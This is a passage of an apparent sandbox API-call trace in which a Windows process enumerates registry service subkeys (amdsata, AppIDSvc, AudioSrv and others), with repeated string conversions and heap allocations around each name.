6 [0250.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0250.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.983] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0250.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0250.983] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.984] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0250.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0250.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.984] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0250.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0250.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.984] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0250.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0250.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0250.984] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.984] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.985] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0250.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0250.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.985] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0250.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0250.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.985] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0250.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0250.985] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.985] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.985] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0250.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0250.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.986] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0250.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0250.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.986] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0250.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0250.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.986] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.986] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0250.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0250.986] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.986] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1b68, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0250.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.987] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0250.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0250.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1cd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0250.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.987] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0250.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0250.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.987] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0250.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0250.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.987] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0250.987] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.987] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.987] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0250.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0250.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1b68, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0250.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.988] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0250.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0250.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.988] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0250.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0250.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.988] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.988] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0250.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.988] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0250.988] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.989] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0250.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0250.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0250.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0250.989] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0250.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0250.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0250.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0250.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0250.989] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0250.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0250.989] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, 